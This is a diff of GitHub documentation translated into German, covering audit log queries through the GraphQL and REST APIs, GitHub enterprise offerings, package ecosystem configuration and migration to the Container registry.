This query uses the [auditlog](/graphql/reference/objects) field from the Organization object, and the [OrgAddMemberAuditEntry](/graphql/reference/objects#orgaddmemberauditentry) and [OrgRemoveMemberAuditEntry](/graphql/reference/objects#orgremovememberauditentry) objects. The {% data variables.product.prodname_dotcom %} account querying the enterprise audit log must be an organization owner for each organization within the enterprise.
Diese Abfrage verwendet das Feld [auditlog](/graphql/reference/objects) (Überwachungsprotokoll) aus dem Objekt „Organization“ sowie die Objekte [OrgAddMemberAuditEntry](/graphql/reference/objects#orgaddmemberauditentry) und [OrgRemoveMemberAuditEntry](/graphql/reference/objects#orgremovememberauditentry). Das {% data variables.product.prodname_dotcom %}-Konto, von dem das Überwachungsprotokoll für das Unternehmen abgefragt wird, muss ein Organisationsbesitzer für jede Organisation innerhalb des Unternehmens sein.
```shell
{
@ -69,14 +73,14 @@ This query uses the [auditlog](/graphql/reference/objects) field from the Organi
}
```
The GraphQL API will return at most 100 nodes per query. To retrieve additional results, you'll need to implement pagination. For more information, see "[Resource limitations](/graphql/overview/resource-limitations#node-limit)" in the GraphQL API documentation and [Pagination](https://graphql.org/learn/pagination/) in the official GraphQL documentation.
### Example 2: Events in an organization, for a specific date and actor
Die GraphQL-API gibt maximal 100 Knoten pro Abfrage zurück. Zum Abrufen zusätzlicher Ergebnisse musst du die Paginierung implementieren. Weitere Informationen findest du in der GraphQL-API-Dokumentation unter [Ressourcenbeschränkungen](/graphql/overview/resource-limitations#node-limit) und in der offiziellen GraphQL-Dokumentation unter [Paginierung](https://graphql.org/learn/pagination/).
### Beispiel 2: Ereignisse in einer Organisation, für ein bestimmtes Datum und einen bestimmten Akteur
You can specify multiple search phrases, such as `created` and `actor`, by separating them in your query string with a space.
Du kannst mehrere Suchbegriffe wie z. B. `created` und `actor` angeben, indem du sie in deiner Abfragezeichenfolge durch ein Leerzeichen trennst.
The query below fetches all the audit logs for the `avocado-corp` enterprise that relate to the `octo-org` organization, where the actions were performed by the `octocat` user on or after the 1 Jan, 2022. The first 20 audit log entries are returned, with the newest log entry appearing first.
Die folgende Abfrage ruft alle Überwachungsprotokolle für das Unternehmen `avocado-corp` ab, die sich auf die Organisation `octo-org` beziehen und bei denen die Aktionen vom Benutzer `octocat` am oder nach dem 1. Januar 2022 ausgeführt wurden. Die ersten 20 Überwachungsprotokolleinträge werden zurückgegeben, wobei der neueste Protokolleintrag zuerst angezeigt wird.
This query uses the [AuditEntry](/graphql/reference/interfaces#auditentry) interface. The {% data variables.product.prodname_dotcom %} account querying the enterprise audit log must be an owner of the `octo-org` organization.
Diese Abfrage verwendet die Schnittstelle [AuditEntry](/graphql/reference/interfaces#auditentry). Das Konto {% data variables.product.prodname_dotcom %}, von dem das Überwachungsprotokoll für das Unternehmen abgefragt wird, muss ein Besitzer der Organisation `octo-org` sein.
```shell
{
@ -104,24 +108,23 @@ This query uses the [AuditEntry](/graphql/reference/interfaces#auditentry) inter
}
```
For more query examples, see the [platform-samples repository](https://github.com/github/platform-samples/blob/master/graphql/queries).
Weitere Abfragebeispiele findest du im [Repository für Plattformbeispiele](https://github.com/github/platform-samples/blob/master/graphql/queries).
## Querying the audit log REST API
## Abfragen der REST-API des Überwachungsprotokolls
To ensure your intellectual property is secure, and you maintain compliance for your enterprise, you can use the audit log REST API to keep copies of your audit log data and monitor:
{% data reusables.audit_log.audited-data-list %}
Zur Sicherstellung, dass dein geistiges Eigentum sicher ist und du die Compliance für dein Unternehmen aufrechterhältst, kannst du die REST-API des Überwachungsprotokolls verwenden, um Kopien deiner Überwachungsprotokolldaten aufzubewahren und zu überwachen: {% data reusables.audit_log.audited-data-list %}
{% data reusables.audit_log.retention-periods %}
For more information about the audit log REST API, see "[Enterprise administration](/rest/reference/enterprise-admin#audit-log)" and "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)."
Weitere Informationen zur REST-API des Überwachungsprotokolls findest du unter [Unternehmensverwaltung](/rest/reference/enterprise-admin#audit-log) und [Organisationen](/rest/reference/orgs#get-the-audit-log-for-an-organization).
### Example 1: All events in an enterprise, for a specific date, with pagination
### Beispiel 1: Alle Ereignisse in einem Unternehmen, für ein bestimmtes Datum, mit Paginierung
You can use page-based pagination or cursor based pagination. For more information about pagination, see "[Using pagination in the REST API](/rest/guides/using-pagination-in-the-rest-api)."
Du kannst die seitenbasierte oder cursorbasierte Paginierung verwenden. Weitere Informationen findest du unter [Durchlaufen mit Paginierung](/rest/guides/traversing-with-pagination).
#### Example with page-based pagination
#### Beispiel mit seitenbasierter Paginierung
The query below searches for audit log events created on Jan 1st, 2022 in the `avocado-corp` enterprise, and return the first page with a maximum of 100 items per page using pagination. For more information about pagination, see "[Using pagination in the REST API](/rest/guides/using-pagination-in-the-rest-api)."
Die folgende Abfrage sucht nach Überwachungsprotokollereignissen, die am 1. Januar 2022 im Unternehmen `avocado-corp` erstellt wurden, und gibt die erste Seite mit maximal 100 Elementen pro Seite mithilfe der [REST-API-Paginierung](/rest/overview/resources-in-the-rest-api#pagination) zurück:
```shell
curl -H "Authorization: Bearer TOKEN" \
@ -129,9 +132,9 @@ curl -H "Authorization: Bearer TOKEN" \
"https://api.github.com/enterprises/avocado-corp/audit-log?phrase=created:2022-01-01&page=1&per_page=100"
```
#### Example with cursor-based pagination
#### Beispiel mit cursorbasierter Paginierung
The query below searches for audit log events created on Jan 1st, 2022 in the `avocado-corp` enterprise, and returns the first page with a maximum of 100 items per page using pagination. For more information about pagination, see "[Using pagination in the REST API](/rest/guides/using-pagination-in-the-rest-api)." The `--include` flag causes the headers to be returned along with the response.
Die folgende Abfrage sucht nach Überwachungsprotokollereignissen, die am 1. Januar 2022 im Unternehmen `avocado-corp` erstellt wurden, und gibt die erste Seite mit maximal 100 Elementen pro Seite mithilfe der [REST-API-Paginierung](/rest/overview/resources-in-the-rest-api#pagination) zurück. Das Flag `--include` bewirkt, dass die Header zusammen mit der Antwort zurückgegeben werden.
```
curl --include -H "Authorization: Bearer TOKEN" \
@ -139,7 +142,7 @@ curl --include -H "Authorization: Bearer TOKEN" \
"https://api.github.com/enterprises/avocado-corp/audit-log?phrase=created:2022-01-01&per_page=100"
```
If there are more than 100 results, the `link` header will include URLs to fetch the next, first, and previous pages of results.
Wenn mehr als 100 Ergebnisse vorhanden sind, enthält der `link`-Header URLs zum Abrufen der nächsten, ersten und vorherigen Ergebnisseiten.
```
link: <https://api.github.com/enterprises/13827/audit-log?%3A2022-11-01=&per_page=100&after=MS42NjQzODMzNTk5MjdlKzEyfDloQzBxdURzaFdVbVlLWjkxRU9mNXc%3D&before=>; rel="next",
@ -147,7 +150,7 @@ link: <https://api.github.com/enterprises/13827/audit-log?%3A2022-11-01=&per_pag
<https://api.github.com/enterprises/13827/audit-log?%3A2022-11-01=&per_page=100&after=&before=MS42Njc4NDA2MjM4MzNlKzEyfExqeG5sUElvNEZMbG1XZHA5akdKTVE%3D>; rel="prev"
```
Copy the corresponding pagination link into your next request. For example:
Kopiere den entsprechenden Paginierungslink in deine nächste Anforderung. Beispiel:
```shell
curl -I -H "Authorization: Bearer TOKEN" \
@ -155,11 +158,11 @@ curl -I -H "Authorization: Bearer TOKEN" \
"https://api.github.com/enterprises/13827/audit-log?%3A2022-11-01=&per_page=100&after=MS42Njc4NDA2MjM5NDFlKzEyfHRYa3AwSkxUd2xyRjA5bWxfOS1RbFE%3D&before="
```
### Example 2: Events for pull requests in an enterprise, for a specific date and actor
### Beispiel 2: Ereignisse bei Pullanforderungen in einem Unternehmen, für ein bestimmtes Datum und einen bestimmten Akteur
You can specify multiple search phrases, such as `created` and `actor`, by separating them in your formed URL with the `+` symbol or ASCII character code `%20`.
Du kannst mehrere Suchbegriffe wie z. B. `created` und `actor` angeben, indem du sie in deiner formatierten URL mit dem Symbol `+` oder dem ASCII-Zeichencode `%20` trennst.
The query below searches for audit log events for pull requests, where the event occurred on or after Jan 1st, 2022 in the `avocado-corp` enterprise, and the action was performed by the `octocat` user:
Die folgende Abfrage sucht nach Überwachungsprotokollereignissen für Pullanforderungen, bei denen das Ereignis am oder nach dem 1. Januar 2022 im `avocado-corp` Unternehmen eingetreten ist und die Aktion vom Benutzer `octocat` ausgeführt wurde:
```shell
curl -H "Authorization: Bearer TOKEN" \

Просмотреть файл

@ -1,6 +1,6 @@
---
title: About GitHub for enterprises
intro: 'Businesses can use {% data variables.product.prodname_dotcom %}''s enterprise products to improve their entire software development lifecycle.'
title: Informationen zu GitHub für Unternehmen
intro: 'Unternehmen können die Enterprise-Produkte von {% data variables.product.prodname_dotcom %} nutzen, um ihren gesamten Softwareentwicklungszyklus zu verbessern.'
versions:
ghec: '*'
ghes: '*'
@ -9,33 +9,38 @@ type: overview
topics:
- Enterprise
- Fundamentals
ms.openlocfilehash: dbba8a55fd0ac20c97039de05aa629dea7048626
ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 12/09/2022
ms.locfileid: '148192649'
---
## Informationen zu {% data variables.product.prodname_dotcom %} für Unternehmen
## About {% data variables.product.prodname_dotcom %} for enterprises
{% data variables.product.prodname_dotcom %} ist eine vollständige Entwicklerplattform zum Erstellen, Skalieren und Bereitstellen sicherer Software. Unternehmen nutzen unsere Suite von Produkten, um den gesamten Softwareentwicklungs-Lebenszyklus zu unterstützen, die Entwicklungsgeschwindigkeit zu erhöhen und die Codequalität zu verbessern.
{% data variables.product.prodname_dotcom %} is a complete developer platform to build, scale, and deliver secure software. Businesses use our suite of products to support the entire software development lifecycle, increasing development velocity and improving code quality.
Entwickler können in Repositorys deinen Quellcode speichern sowie Versionskontrollen durchführen und Issues und Projekte zum Planen und Nachverfolgen ihrer Arbeit verwenden. Sie können in einer in der Cloud gehosteten Entwicklungsumgebung ({% data variables.product.prodname_github_codespaces %}) programmieren, dann die Codeänderungen der anderen mit Pull Requests überprüfen und Codesicherheitsfunktionen verwenden, um Geheimnisse und Schwachstellen aus Ihrer Codebasis herauszuhalten. Schließlich kannst du deine Build-, Test- und Bereitstellungspipeline mit {% data variables.product.prodname_actions %} automatisieren und Softwarepakete mit {% data variables.product.prodname_registry %} hosten.
Developers can store and version control your source code in repositories, using issues and projects to plan and track their work. They can code in a cloud-hosted development environment, {% data variables.product.prodname_github_codespaces %}, then review each other's code changes with pull requests, using code security features to keep secrets and vulnerabilities out of your codebase. Finally, you can automate your build, test, and deployment pipeline with {% data variables.product.prodname_actions %} and host software packages with {% data variables.product.prodname_registry %}.
Wenn Unternehmen {% data variables.product.prodname_enterprise %} übernehmen, ist ihre Rendite (ROI) hoch. Ihre Entwickler sparen beispielsweise 45 Minuten pro Tag, und die Onboarding- und Schulungszeit wird um 40 % reduziert. Weitere Informationen findest du unter [Gesamtwirtschaftliche Auswirkungen von {% data variables.product.prodname_enterprise %}](https://resources.github.com/forrester/).
When businesses adopt {% data variables.product.prodname_enterprise %}, their return on investment (ROI) is high. For example, their developers save 45 minutes per day, and onboarding and training time is reduced by 40%. For more information, see [The Total Economic Impact of {% data variables.product.prodname_enterprise %}](https://resources.github.com/forrester/).
Um die Verwaltung für alle Phasen des Softwareentwicklungszyklus zu vereinfachen, bieten wir einen zentralen Zugangspunkt für Sichtbarkeit und Verwaltung, das sogenannte Unternehmenskonto. Mit Unternehmenskonten kannst du Abrechnungen und Einstellungen verwalten, Richtlinien erzwingen und Personen überwachen, die Zugriff auf die Ressourcen deines Unternehmens haben. Weitere Informationen findest du unter [Informationen zu Unternehmenskonten](/admin/overview/about-enterprise-accounts).
To simplify administration for all the stages in the software development lifecycle, we provide a single point of visibility and management called an enterprise account. Enterprise accounts enable you to manage billing and settings, enforce policy, and audit the people with access to your enterprise's resources. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
Optional kannst du mit {% data variables.product.prodname_GH_advanced_security %} zusätzliche Codesicherheitsfeatures hinzufügen und mit {% data variables.contact.premium_support %} erweiterte Supportoptionen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security) und [Informationen zu {% data variables.contact.premium_support %}]({% ifversion ghae %}/enterprise-cloud@latest{% endif %}/support/learning-about-github-support/about-github-premium-support){% ifversion ghae %} in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.{% else %}.{% endif %}
Optionally, you can add extra code security features with {% data variables.product.prodname_GH_advanced_security %}, and enhanced support options with {% data variables.contact.premium_support %}. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" and "[About {% data variables.contact.premium_support %}]({% ifversion ghae %}/enterprise-cloud@latest{% endif %}/support/learning-about-github-support/about-github-premium-support){% ifversion ghae %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
## Informationen zu Bereitstellungsoptionen
## About deployment options
Wenn du {% data variables.product.prodname_enterprise %} kaufst, erhältst du sowohl auf {% data variables.product.prodname_ghe_cloud %} als auch {% data variables.product.prodname_ghe_server %} Zugriff. {% data variables.product.prodname_ghe_cloud %} ist eine Reihe erweiterter Funktionen auf {% data variables.product.prodname_dotcom_the_website %}, während {% data variables.product.prodname_ghe_server %} eine selbstgehostete Plattform ist. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_ghe_server %}]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/overview/about-github-enterprise-server){% ifversion not ghes %} in der {% data variables.product.prodname_ghe_server %}-Dokumentation.{% else %}.{% endif %}
When you purchase {% data variables.product.prodname_enterprise %}, you get access to both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_ghe_cloud %} is a set of advanced functionality on {% data variables.product.prodname_dotcom_the_website %}, while {% data variables.product.prodname_ghe_server %} is self-hosted platform. For more information, see "[About {% data variables.product.prodname_ghe_server %}]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/overview/about-github-enterprise-server){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %}
Für {% data variables.product.prodname_ghe_cloud %} kannst du Entwicklern erlauben, ihre eigenen persönlichen Konten zu erstellen und zu verwalten, oder du kannst {% data variables.product.prodname_emus %} verwenden, womit du Benutzerkonten für deine Entwickler erstellen und verwalten kannst. Weitere Informationen findest du unter [Informationen zur Authentifizierung für dein Unternehmen](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise).
For {% data variables.product.prodname_ghe_cloud %}, you can allow developers to create and manage their own personal accounts, or you can use {% data variables.product.prodname_emus %}, which enables you to create and manage the user accounts for your developers. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)."
{% data variables.product.prodname_ghe_managed %} ist eingeschränkt für ausgewählte Kunden mit strengen Sicherheits- und Complianceanforderungen verfügbar. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/overview/about-github-ae){% ifversion not ghae %} in der {% data variables.product.prodname_ghe_managed %}-Dokumentation.{% else %}.{% endif %}
{% data variables.product.prodname_ghe_managed %} is in limited availability for select customers with stringent security and compliance requirements. For more information, see "[About {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/overview/about-github-ae){% ifversion not ghae %}" in the {% data variables.product.prodname_ghe_managed %} documentation.{% else %}."{% endif %}
Du kannst auch während der Verwendung von {% data variables.product.prodname_ghe_server %} oder {% data variables.product.prodname_ghe_managed %} von der Leistung von {% data variables.product.prodname_dotcom_the_website %} profitieren, indem du {% data variables.product.prodname_github_connect %} aktiviert, was dir ermöglicht, zusätzliche Funktionen und Workflows wie {% data variables.product.prodname_dependabot_alerts %} für unsichere Abhängigkeiten zu konfigurieren.{% ifversion ghec %}
You can benefit from the power of {% data variables.product.prodname_dotcom_the_website %} even while using {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %} by enabling {% data variables.product.prodname_github_connect %}, which allows you to configure additional features and workflows such as {% data variables.product.prodname_dependabot_alerts %} for insecure dependencies.{% ifversion ghec %}
- [Informationen zu {% data variables.product.prodname_github_connect %}](/enterprise-server@latest/admin/configuration/configuring-github-connect/about-github-connect) findest du in der {% data variables.product.prodname_ghe_server %}-Dokumentation.
- [Informationen zu {% data variables.product.prodname_github_connect %}](/github-ae@latest/admin/configuration/configuring-github-connect/about-github-connect) findest du in der {% data variables.product.prodname_ghe_managed %}-Dokumentation.{% else %} Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect).{% endif %}
- "[About {% data variables.product.prodname_github_connect %}](/enterprise-server@latest/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_server %} documentation
- "[About {% data variables.product.prodname_github_connect %}](/github-ae@latest/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_managed %} documentation{% else %} For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)."{% endif %}
## Weitere Informationsquellen
## Further reading
- [Compare {% data variables.product.prodname_dotcom %} to other DevOps solutions](https://resources.github.com/devops/tools/compare/) in {% data variables.product.company_short %} Resources
- [Vergleich von {% data variables.product.prodname_dotcom %} mit anderen DevOps-Lösungen](https://resources.github.com/devops/tools/compare/) in {% data variables.product.company_short %}-Ressourcen

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Configuring package ecosystem support for your enterprise
intro: 'You can configure {% data variables.product.prodname_registry %} for your enterprise by globally enabling or disabling individual package ecosystems on your enterprise, including {% ifversion ghes > 3.4 %}{% data variables.product.prodname_container_registry %}, {% endif %}Docker, and npm. Learn about other configuration requirements to support specific package ecosystems.'
title: Konfigurieren der Paketökosystemunterstützung für dein Unternehmen
intro: 'Du kannst {% data variables.product.prodname_registry %} für dein Unternehmen konfigurieren, indem du einzelne Paketökosysteme einschließlich {% ifversion ghes > 3.4 %}{% data variables.product.prodname_container_registry %}, {% endif %}Docker und npm in deinem Unternehmen global aktivierst oder deaktivierst. Erfahre mehr über andere Konfigurationsanforderungen, um bestimmte Paketökosysteme zu unterstützen.'
redirect_from:
- /enterprise/admin/packages/configuring-packages-support-for-your-enterprise
- /admin/packages/configuring-packages-support-for-your-enterprise
@ -11,44 +11,43 @@ topics:
- Enterprise
- Packages
shortTitle: Configure package ecosystems
ms.openlocfilehash: 83de80e4233f671a7a923394d2fd3f6e554bba10
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '147062546'
---
{% data reusables.package_registry.packages-ghes-release-stage %}
## Enabling or disabling individual package ecosystems
## Aktivieren oder Deaktivieren einzelner Paketökosysteme
To prevent new packages from being uploaded, you can set an ecosystem you previously enabled to **Read-Only**, while still allowing existing packages to be downloaded.
Um zu verhindern, dass neue Pakete hochgeladen werden, kannst du ein Ökosystem einrichten, das du zuvor auf **Schreibgeschützt** festgelegt hast, wobei weiterhin vorhandene Pakete heruntergeladen werden können.
{% data reusables.enterprise_site_admin_settings.access-settings %}
{% data reusables.enterprise_site_admin_settings.management-console %}
{% data reusables.enterprise_site_admin_settings.packages-tab %}
1. Under "Ecosystem Toggles", for each package type, select **Enabled**, **Read-Only**, or **Disabled**.
{%- ifversion ghes > 3.4 %}{% note -%}
**Note**: Subdomain isolation must be enabled to toggle the {% data variables.product.prodname_container_registry %} options.
{%- endnote %}{%- endif %}{%- ifversion ghes %}
![Ecosystem toggles](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png){% else %}
![Ecosystem toggles](/assets/images/enterprise/3.1/site-admin-settings/ecosystem-toggles.png){% endif %}
{% data reusables.enterprise_management_console.save-settings %}
{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_site_admin_settings.packages-tab %}
1. Wähle unter „Ökosystem-Umschaltflächen“ für jeden Pakettyp **Aktiviert**, **Schreibgeschützt** oder **Deaktiviert** aus.
{%- ifversion ghes > 3.4 %}{% note -%} **Hinweis:** Die Unterdomänenisolation muss aktiviert sein, um die Optionen für die {% data variables.product.prodname_container_registry %} umzuschalten.
{%- endnote %}{%- endif %}{%- ifversion ghes %} ![Ökosystem-Umschaltflächen](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png){% else %} ![Ökosystem-Umschaltflächen](/assets/images/enterprise/3.1/site-admin-settings/ecosystem-toggles.png){% endif %} {% data reusables.enterprise_management_console.save-settings %}
{% ifversion ghes %}
## Connecting to the official npm registry
## Herstellen einer Verbindung mit der offiziellen npm-Registrierung
If you've enabled npm packages on your enterprise and want to allow access to the official npm registry as well as the {% data variables.product.prodname_registry %} npm registry, then you must perform some additional configuration.
Wenn du npm-Pakete für dein Unternehmen aktiviert hast und den Zugriff auf die offizielle npm-Registrierung sowie die {% data variables.product.prodname_registry %}-npm-Registrierung gewähren möchtest, musst du einige zusätzliche Konfigurationen durchführen.
{% data variables.product.prodname_registry %} uses a transparent proxy for network traffic that connects to the official npm registry at `registry.npmjs.com`. The proxy is enabled by default and cannot be disabled.
{% data variables.product.prodname_registry %} verwendet einen transparenten Proxy für Netzwerkdatenverkehr, der eine Verbindung mit der offiziellen npm-Registrierung unter `registry.npmjs.com` herstellt. Der Proxy ist standardmäßig aktiviert und kann nicht deaktiviert werden.
To allow network connections to the npm registry, you will need to configure network ACLs that allow {% data variables.product.prodname_ghe_server %} to send HTTPS traffic to `registry.npmjs.com` over port 443:
Um Netzwerkverbindungen mit der npm-Registrierung zuzulassen, musst du Netzwerk-ACLs konfigurieren, damit {% data variables.product.prodname_ghe_server %} HTTPS-Datenverkehr über Port 443 an `registry.npmjs.com` senden kann:
| Source | Destination | Port | Type |
| `Source` | Destination | Port | type |
|---|---|---|---|
| {% data variables.product.prodname_ghe_server %} | `registry.npmjs.com` | TCP/443 | HTTPS |
Note that connections to `registry.npmjs.com` traverse through the Cloudflare network, and subsequently do not connect to a single static IP address; instead, a connection is made to an IP address within the CIDR ranges listed here: https://www.cloudflare.com/ips/.
Beachte, dass Verbindungen mit `registry.npmjs.com` das Cloudflare-Netzwerk durchlaufen und folglich keine Verbindung mit einer statischen IP-Adresse herstellen. Stattdessen wird eine Verbindung mit einer IP-Adresse innerhalb der unter https://www.cloudflare.com/ips/ aufgeführten CIDR-Bereiche hergestellt.
If you wish to enable npm upstream sources, select `Enabled` for `npm upstreaming`.
Wenn du npm-Upstreamquellen aktivieren möchtest, wähle `Enabled` für `npm upstreaming` aus.
{% endif %}
## Next steps
## Nächste Schritte
As a next step, we recommend you check if you need to update or upload a TLS certificate for your packages host URL. For more information, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
Danach wird empfohlen, zu überprüfen, ob du ein TLS-Zertifikat für deine Pakethost-URL aktualisieren oder hochladen musst. Weitere Informationen findest du unter [Erste Schritte mit GitHub Packages für dein Unternehmen](/admin/packages/getting-started-with-github-packages-for-your-enterprise).

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Migrating your enterprise to the Container registry from the Docker registry
intro: 'You can migrate Docker images previously stored in the Docker registry on {% data variables.location.product_location %} to the {% data variables.product.prodname_container_registry %}.'
title: Migrieren deines Unternehmens von der Docker-Registrierung zur Containerregistrierung
intro: 'Du kannst Docker-Images, die zuvor in der Docker-Registry auf {% data variables.location.product_location %} gespeichert waren, in die {% data variables.product.prodname_container_registry %} migrieren.'
product: '{% data reusables.gated-features.packages %}'
permissions: 'Enterprise owners can migrate Docker images to the {% data variables.product.prodname_container_registry %}.'
versions:
@ -10,68 +10,69 @@ topics:
- Containers
- Docker
- Migration
ms.openlocfilehash: 459039d5c3a059c961ac1126e37929906d7b0325
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148106381'
---
{% data reusables.package_registry.container-registry-ghes-beta %}
## About the {% data variables.product.prodname_container_registry %}
## Informationen zur {% data variables.product.prodname_container_registry %}
{% data reusables.package_registry.container-registry-benefits %} For more information, see "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)."
{% data reusables.package_registry.container-registry-benefits %} Weitere Informationen findest du unter [Arbeiten mit der {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry).
For more information about configuring {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
Weitere Informationen zum Konfigurieren von {% data variables.product.prodname_registry %} für {% data variables.location.product_location %} findest du unter [Erste Schritte mit {% data variables.product.prodname_registry %} für dein Unternehmen](/admin/packages/getting-started-with-github-packages-for-your-enterprise).
## About migration from the Docker registry
## Informationen zur Migration aus der Docker-Registrierung
{% data reusables.package_registry.container-registry-replaces-docker-registry %} If the Docker registry on {% data variables.location.product_location %} contains images, you must manually migrate the images to the {% data variables.product.prodname_container_registry %}.
{% data reusables.package_registry.container-registry-replaces-docker-registry %} Wenn die Docker-Registrierung auf {% data variables.location.product_location %} Images enthält, musst du die Images manuell in die {% data variables.product.prodname_container_registry %} migrieren.
{% ifversion ghes %}
{% note %}
**Note**: {% data reusables.package_registry.container-registry-ghes-migration-availability %}
**Hinweis**: {% data reusables.package_registry.container-registry-ghes-migration-availability %}
{% endnote %}
{% endif %}
{% data reusables.package_registry.container-registry-migration-namespaces %} For more information about the impact of migration to the {% data variables.product.prodname_container_registry %}, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry#about-migration-from-the-docker-registry)."
{% data reusables.package_registry.container-registry-migration-namespaces %} Weitere Informationen zur Auswirkung der Migration zur {% data variables.product.prodname_container_registry %} findest du unter [Migrieren von der Docker-Registrierung zur {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry#about-migration-from-the-docker-registry).
## Migrating organizations to the {% data variables.product.prodname_container_registry %}
## Migrieren von Organisationen zur {% data variables.product.prodname_container_registry %}
You can start a migration of all your organizations' Docker images to the {% data variables.product.prodname_container_registry %}. The duration of the migration operation depends on the total number of images to migrate, and the overall load on {% ifversion ghes %}your instance{% elsif ghae %}{% data variables.product.product_name %}{% endif %}. After a successful migration, {% data variables.product.product_name %} will display a summary, and all future uploads of Docker images will use the {% data variables.product.prodname_container_registry %}.
Du kannst eine Migration aller Docker-Images deiner Organisation zur {% data variables.product.prodname_container_registry %} starten. Die Dauer des Migrationsvorgangs ist abhängig von der Gesamtanzahl der zu migrierenden Images und der Gesamtauslastung {% ifversion ghes %}deiner Instanz {% elsif ghae %}{% data variables.product.product_name %}{% endif %}. Nach einer erfolgreichen Migration zeigt {% data variables.product.product_name %} eine Zusammenfassung an, und bei allen künftigen Uploads von Docker-Images wird die {% data variables.product.prodname_container_registry %} verwendet.
If {% ifversion ghes %}a site administrator{% elsif ghae %}an enterprise owner{% endif %} has configured email notifications for {% data variables.location.product_location %}, you will receive an email after the migration is complete. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)."
Wenn {% ifversion ghes %}ein Siteadministrator{% elsif ghae %}ein Unternehmensbesitzer{% endif %} E-Mail-Benachrichtigungen für {% data variables.location.product_location %} konfiguriert hat, empfängst du nach Abschluss der Migration eine E-Mail. Weitere Informationen findest du unter [Konfigurieren einer E-Mail-Adresse für Benachrichtigungen](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications).
{% note %}
**{% ifversion ghes %}Notes{% elsif ghae %}Note{% endif %}**:
**{% ifversion ghes %}Hinweise{% elsif ghae %}Note{% endif %}** :
{%- ifversion ghes %}
- During the migration, the CPU and memory usage for your instance will increase. To ensure the performance of the instance for your users, {% data variables.product.company_short %} recommends that you begin a migration during a period of reduced activity.
{%- endif %}
{% ifversion ghes %}- {% endif %}During the migration, do not modify settings for your enterprise{% ifversion ghes %} or run `ghe-config-apply` from an administrative SSH session{% endif %}. {% ifversion ghes %}These actions will trigger a configuration run, which can restart services and {% elsif ghae %}Modifying these settings {% endif %} may interrupt the migration.
- Während der Migration erhöht sich die CPU- und Speicherauslastung deiner Instanz. Um die Leistung der Instanz für deine Benutzer zu gewährleisten, empfiehlt {% data variables.product.company_short %}, dass du die Migration in einer Zeit mit geringerer Aktivität vornimmst.
{%- endif %} {% ifversion ghes %}- {% endif %}Ändere während der Migration keine Einstellungen für dein Unternehmen{% ifversion ghes %}, oder führe `ghe-config-apply` in einer administrativen SSH-Sitzung aus{% endif %}. {% ifversion ghes %}Diese Aktionen lösen eine Konfigurationsausführung aus, wodurch die Dienste neu gestartet werden können, und {% elsif ghae %}Das Ändern dieser Einstellungen {% endif %} kann die Migration unterbrechen.
{%- ifversion ghes %}
- After the migration, storage pressure on your instance will increase due to the duplication of image files in the Docker registry and the {% data variables.product.prodname_container_registry %}. A future release of {% data variables.product.product_name %} will remove the duplicated files when all migrations are complete.
- Nach der Migration erhöht sich der Speicherbedarf deiner Instanz aufgrund der Duplizierung von Imagedateien in der Docker-Registrierung und {% data variables.product.prodname_container_registry %}. In einer künftigen Version von {% data variables.product.product_name %} werden die duplizierten Dateien entfernt, sobald alle Migrationen abgeschlossen sind.
For more information about monitoring the performance and storage of {% data variables.location.product_location %}, see "[Accessing the monitor dashboard](/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard)."
